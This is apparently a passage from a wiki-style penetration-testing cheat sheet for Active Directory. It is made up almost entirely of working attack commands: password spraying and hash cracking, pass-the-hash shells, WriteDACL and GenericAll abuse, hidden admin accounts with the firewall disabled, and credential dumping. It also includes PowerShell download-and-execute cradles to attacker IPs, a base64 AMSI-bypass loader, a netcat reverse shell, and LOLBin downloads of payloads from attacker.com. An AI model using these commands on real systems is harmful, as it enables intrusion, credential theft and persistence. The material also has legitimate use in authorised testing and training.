# To prevent lockout it's best not to try with more than 5/7 passwords per account.
spray.sh -smb
------------------------------------------------------------------------
# PASSWORD SPRAYING
crackmapexec smb -u users.txt -p passwords.txt
## Successor to crackmapexec
nxc smb -u users.txt -p passwords.txt [-H hashes.txt]
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
# with a list of users
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords: /outfile:
------------------------------------------------------------------------
# Crack hash
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
------------------------------------------------------------------------
# Powershell passwordspraying script
https://github.com/dafthack/MSOLSpray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
</syntaxhighlight>

----

= Enumerating Active Directory with valid credentials/session =

== Shell with credentials ==

If you have valid credentials you could try to get a shell.

To get shell with Administrator user and not with NT Authority\system, use WinExec or Evil-Winrm

<syntaxhighlight lang="bash">
# CrackMapExec
# Validate if credentials found is valide, and which protocol you can use to get a shell. {ssh,smb,mssql,winrm,ldap} Notice Pwn3d! with creds enox:california
crackmapexec winrm 192.168.204.165 -u enox -p california
WINRM 192.168.204.165 5985 NONE [+] None\enox:california (Pwn3d!)
# Can also be used to brute force
crackmapexec -u ~/file_containing_usernames -p ~/file_containing_passwords
crackmapexec -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

# SSH - Port 22
# If SSH is open try to SSH to target
ssh user@target [-i id_rsa]

# WinRM - Port 5895, 5896
# If port 5985,5986 is open, try Evil-Winrm
gem install evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
evil-winrm -u Administrator -H 'Use_hash_here' -i /
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

# PTH-winexe
Basic syntax w/ credentials.
winexe -U % // cmd.exe
Basic syntax w/ NTLM hash (pass the hash technique).
pth-winexe -U % // cmd.exe

# RDP - Port 3389
xrdp target
remmina
rdesktop target

# PSExec & SMBExec - Port 445
# Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
# If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]
./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
# From sysinternals
PsExec.exe -i -u domain\user cmd.exe
# PSExec with Powershel
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername TARGET -Credential $credential
# If there is a config file, use -ConfigruationName
Enter-PSSession -ComputerName TARGET -ConfigurationName CONFIG_NAME
# Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be passed through a PSCredential object as well:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

# Remotely creat services using sc - port 135,445,139
sc.exe \\TARGET create AGservice binPath= "net user test test123 /add" start= auto
sc.exe \\TARGET start AGservice
# Stop or delete service
sc.exe \\TARGET stop AGservice
sc.exe \\TARGET delete AGservice

# Creating scheduled tasks remotely
schtasks /s TARGET /RU "SYSTEM" /create /tn "AGtask1" /tr "" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "AGtask1"
# /sc - Task will only run once. Starting date and time dosent matter because of this.

</syntaxhighlight>

== Shell - Changing user if you have a shell ==

<syntaxhighlight lang="bash">
# If you have a shell as a user, most likely runas command wont work because we cant type our password when prompted with typing our password. There are some tools you can try.
# Invoke-RunasCs.exe
# https://github.com/antonioCoco/RunasCs
.\RunasCs_net4.exe svc_mssql trustno1 cmd.exe -r 192.168.49.199:443

# RunAsUser.exe
# https://github.com/atthacks/RunAsUser
RunAsUser.exe -u superadmin -p funnyhtb -f c:\users\public\nc.exe -a '10.10.14.12 9001 -e cmd.exe'

# Try writing a ps1 script to use runas command
# cat runme.ps1
$secpasswd = ConvertTo-SecureString "trustno1" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("svc_msssql", $secpasswd)
$computer = "access.offsec"
[System.Diagnostics.Process]::Start("C:\xampp\htdocs\uploads\shell.exe","", $mycreds.Username, $mycreds.Password, $computer)
# or
$creds = New-Object System.Management.Automation.PSCredential ("example.com\tan", (ConvertTo-SecureString "Password" -AsPlainText -Force))
Get-DomainUser -Credential $creds
# Abusing WriteDACL
# What is WriteDACL?
## It's an access right that grants permission to modify the Discretionary Access Control List (DACL) of Active Directory objects.
# See also this for more attack path
https://www.thehacker.recipes/ad/movement/dacl/grant-rights
# To identify user accounts that are potentially misconfigured, you can use Get-DomainUser and Get-ObjectAcl:
PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
# With WriteDACL rights, an attacker can modify access rights of an AD object. The example provided demonstrates adding the GenericAll right:
PS C:\tools> Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All
# To verify that the GenericAll right is set on testservice2 we can enumerate. And after that change the password as we did above:
PS C:\tools> Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}

# Anoter Example of Abusing WriteDACL
# User have WriteDACL rights on mailadmins. We can modify our rights to get GenericAll on the group
$SecPassword = ConvertTo-SecureString 'test' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Mailadmins" -PrincipalIdentity user1-Rights All
# Now we can add ourselvs to the group by using PowerViews
Add-DomainGroupMember -Identity "mailadmins" -Members sqlsvc -Credential $Cred
</syntaxhighlight>

== Basic commands ==

=== CMD ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info
# DOMAIN INFO
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
net groups /domain #List of domain groups
net group "domain computers" /domain #List of PCs connected to the domain
net view /domain #Lis of PCs of the domain
nltest /dclist: #List domain controllers
net group "Domain Controllers" /domain #List PC accounts of domains controllers
net group "Domain Admins" /domain #List users with domain admin privileges
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup "Domain Admins" is included here)
net user /domain #List all users of the domain
net user /domain #Get information about that user
net accounts /domain #Password and lockout policy
nltest /domain_trust #Mapping of the trust relationships.
------------------------------------------------------------------------
# USERS
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
qwinsta #Anyone else logged in?
net user /add [username] [password] #Create user
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user\ "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
------------------------------------------------------------------------
# GROUPS
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain #Users that belongs to the group
------------------------------------------------------------------------
# PERSISTENCE WITH USERS
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
------------------------------------------------------------------------
# FIREWALL
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
::How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
::Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
::Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
</syntaxhighlight>

=== PowerShell ===

<syntaxhighlight lang="powershell">
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters
# Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
------------------------------------------------------------------------
# Basic PS commands to start
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module
Get-Command -Module
------------------------------------------------------------------------
# Download and Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
------------------------------------------------------------------------
# Download and Exectute in background with AMSI Bypass
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
------------------------------------------------------------------------
# Using Base64 from Linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc
# Enumerate GenericAll using PowerView
## To identify all domain users that the current account has GenericAll rights to (Remember to run from domain user and not local user:
PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
## If you have GenericAll on user account, change the password
net user user1 pass123 /domain
# To enumerate domain groups that the current user has explicit access rights to:
PS C:\tools> Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
## With GenericAll rights on a group, a user can add themselves or other users to that group:
net group testgroup User2 /add /domain
# Enumerate PowerShell Console history
(Get-PSReadlineOption).HistorySavePath
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

</syntaxhighlight>

=== Download file from attacker to target ===

[https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info]

See my cheatsheet also.

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="powershell">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

== adPEAS ==

[https://github.com/61106960/adPEAS https://github.com/61106960/adPEAS]

adPEAS consists of the following enumeration modules:

* Domain - Searching for basic Active Directory information, like Domain Controllers, Sites und Subnets, Trusts and DCSync rights

* CA - Searching for basic Enterprise Certificate Authority information, like CA Name, CA Server and Templates

* Creds - Searching for different kind of credential exposure, like ASREPRoast, Kerberoasting, GroupPolicies, Netlogon scripts, LAPS, gMSA, certain account attributes, e.g. UnixPassword, etc.

* Delegation - Searching for delegation issues, like 'Constrained Delegation', 'Unconstrained Delegation' and 'Resource Based Unconstrained Delegation', for computer and user accounts

* Accounts - Searching for high privileged user accounts in predefined groups, account issues like e.g. password not expire

* Computer - Enumerating Domain Controllers, CA and Exchange server, with the switch -Vulns it checks the systems for EternalBlue, BlueKeep, ZeroLogon and critical Exchange vulnerabilities

* Bloodhound - Enumerating Active Directory with BloodHound

<syntaxhighlight lang="powershell">
# Load adPEAS in PowerShell.
Import-Module .\adPEAS.ps1 # Method 1
. .\adPEAS.ps1 # Method 2
gc -raw .\adPEAS.ps1 | iex # Method 3
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1') # Method 4
-----------------------------
# Start adPEAS with all enumeration modules and enumerate the domain the logged-on user and computer is connected to.
Invoke-adPEAS
#Start adPEAS with all enumeration modules and enumerate the domain 'contoso.com'.
Invoke-adPEAS -Domain 'contoso.com'
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for almost all enumeration requests.
Invoke-adPEAS -Domain 'contoso.com' -Server 'dc1.contoso.com'
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the passed PSCredential object during enumeration.
$SecPassword = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\johndoe', $SecPassword)
Invoke-adPEAS -Domain 'contoso.com' -Cred $Cred
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the username 'contoso\johndoe' with password 'Passw0rd1!' during enumeration.
Invoke-adPEAS -Domain contoso.com -Username 'contoso\johndoe' -Password 'Passw0rd1!'
</syntaxhighlight>

== LiniKatzV2 ==

This tool needs '''root privileges''' to be run on the host system.

<syntaxhighlight lang="bash">
https://github.com/Orange-Cyberdefense/LinikatzV2
# It allows extraction of :
# - Hashed stored in files for offline connection (SHA-512 format)
# - Kerberos tickets (user & machine)
# - Clear passwords in RAM
# - NTLM machine hash
# - AES-128 & AES-256 machine keys
$ sudo ./linikatzV2.sh
</syntaxhighlight>

== Purple-Knight ==

[https://www.purple-knight.com/ https://www.purple-knight.com/]

== Fores-Druid ==

[https://www.purple-knight.com/forest-druid/ Forest Druid - Focus on your Tier 0 perimeter (purple-knight.com)]

== PowerView (Enumeration and lateral movement) ==

[https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview PowerView/SharpView - HackTricks]

The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1]

[https://github.com/tevora-threat/SharpView SharpView] is a .NET port of [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 PowerView]

<syntaxhighlight lang="bash">
# Quick Enumeration
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

-----------------------
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID
# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
# Get Forest info
Get-ForestDomain
---------------
# Users, Groups, Computers and OU's
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups
# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
-----------------------
# Logon and sessions
Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName #Get active sessions on the host
Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host)

---------------
# Group Policy Object - GPOs
# If an attacker has high privileges over a GPO he could be able to privesc abusing it by add permissions to a user, add a local admin user to a host or create a scheduled task (immediate) to perform an action.
More info https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#gpo-delegation
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName #Get the policy applied in a computer
gpresult /V #Get current policy
# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a user/group has over any GPO
